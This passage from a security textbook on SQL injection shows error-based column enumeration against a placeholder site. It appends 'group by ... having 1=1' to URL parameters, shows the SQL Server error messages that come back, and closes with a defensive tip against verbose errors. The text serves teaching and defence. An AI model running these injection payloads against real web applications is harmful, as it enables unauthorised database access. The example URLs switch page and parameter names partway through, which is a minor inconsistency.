SQL Injection Attacks and Defense - 2009

166 Chapter 4 • Exploiting SQL Injection
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'products.id' is
invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.
/products.asp, line 233
The error message contains the names of the products table and of the id column, which
is the first column used in the SELECT. To move to the second column, we simply need to
add a GROUP BY clause with the name of the column we just discovered:
http://www.victim.com/products.asp?id=1+group+by+products.id+having+1=1
We now receive another error message:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'products.name' is
invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.
/shop.asp, line 233
Because the first column is now part of the GROUP BY clause, the error is triggered
by the second column: products.name. The next step is to add this column to the GROUP BY
without removing the previous one:
http://www.victim.com/shop.asp?item=1+group+by+products.id,
products.name+having+1=1
By simply repeating this procedure until we get no more errors, we can easily enumerate
all columns.
Tip
As you can see from the examples so far, verbose error messages can be
extremely useful to an attacker. If you are responsible for a Web application,
make sure it is configured so that when something goes wrong it returns
only a custom HTML page that contains a very generic error message for the
users. Detailed error messages should be available only to the developers and
administrators of a Web application.